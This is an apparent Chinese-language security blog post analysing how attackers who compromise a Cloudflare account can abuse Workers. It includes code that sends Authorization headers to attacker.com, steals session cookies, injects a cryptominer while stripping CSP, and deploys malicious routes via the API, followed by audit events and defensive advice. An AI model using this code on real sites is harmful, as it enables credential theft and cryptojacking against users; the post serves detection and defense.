边缘中间人攻击:滥用Cloudflare Workers的技术分析

本文详细分析了攻击者如何通过入侵Cloudflare账户滥用Workers功能,实现持久化驻留和数据窃取,包括窃取授权令牌、会话Cookie以及注入恶意JavaScript等技术手段。

边缘中间人攻击:滥用Cloudflare Workers

Cloudflare Workers提供强大的无服务器解决方案,能够在每个HTTP请求和响应之间运行代码。本文将展示攻击者在入侵Cloudflare账户后,如何滥用Workers功能建立持久化访问并窃取敏感数据。

技术背景

Cloudflare Workers支持在边缘服务器部署透明运行的代码,支持JavaScript/TypeScript和Python等语言。其核心功能包括:

  • 动态重写请求和响应
  • 添加安全头部
  • 实施边缘流量控制

典型合法用例代码示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, originalRequest) {
  const requestUrl = new URL(originalRequest.url);
  if (requestUrl.pathname.startsWith("/docs/latest/")) {
    newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
    return Response.redirect(newUrl, 301);
  }
  return fetch(originalRequest)
}

攻击技术实现

1. 创建恶意Worker

基础恶意Worker框架:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// worker.js
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, request) {
  return fetch(request);
}

// wrangler.toml
name = "my-malicious-worker"
compatibility_date = "2022-06-24"

通过Cloudflare API部署路由:

1
2
3
4
curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
     -H "X-Auth-Email: $CF_EMAIL" \
     -H "X-Auth-Key: $CF_API_KEY" \
     --data '{"pattern":"*victim.com/*","script":"my-malicious-worker"}'

2. 凭证窃取技术

窃取Authorization头:

1
2
3
4
5
6
async function stealAuthorizationHeader(request) {
  const authz = request.headers.get("Authorization")
  if (authz) {
    await fetch("http://attacker.com/log/" + btoa(authz));
  }
}

窃取会话Cookie:

1
2
3
4
5
6
async function stealCookies(request, response) {
  const serverCookies = response.headers.get("Set-Cookie");
  const clientCookies = request.headers.get("Cookie");
  if (serverCookies) await logExfil(serverCookies);
  if (clientCookies) await logExfil(clientCookies);
}

3. 恶意代码注入

注入加密货币挖矿脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
async function injectMaliciousScript(originalResponse) {
  if (!originalResponse.headers.get("Content-Type").includes("html")) 
    return originalResponse;

  const maliciousScript = `
    <script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
    <script>/* 挖矿配置代码 */</script>`;
  
  const modifiedHtml = (await originalResponse.text()).replace(
    "</body>", maliciousScript + "</body>");
  
  const modifiedResponse = new Response(modifiedHtml, originalResponse);
  modifiedResponse.headers.delete("Content-Security-Policy"); // 绕过CSP
  return modifiedResponse;
}

攻击检测与防御

Cloudflare审计事件类型

事件类型 描述
script_create 创建新Worker
route_create Worker绑定路由
rec_add 创建指向Worker的DNS记录
token_create 创建API令牌

防御建议

  1. 启用多因素认证
  2. 定期轮换API密钥
  3. 监控异常Worker创建活动
  4. 企业版用户应配置SIEM集成

真实案例

  • 2021年Badger事件:攻击者通过Worker注入恶意脚本劫持Web3交易
  • 2020年SEO垃圾邮件:韩国攻击者动态修改搜索引擎响应内容

本文所述技术并非Cloudflare漏洞,而是其设计特性的潜在滥用方式。所有代码示例可在GitHub仓库获取。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计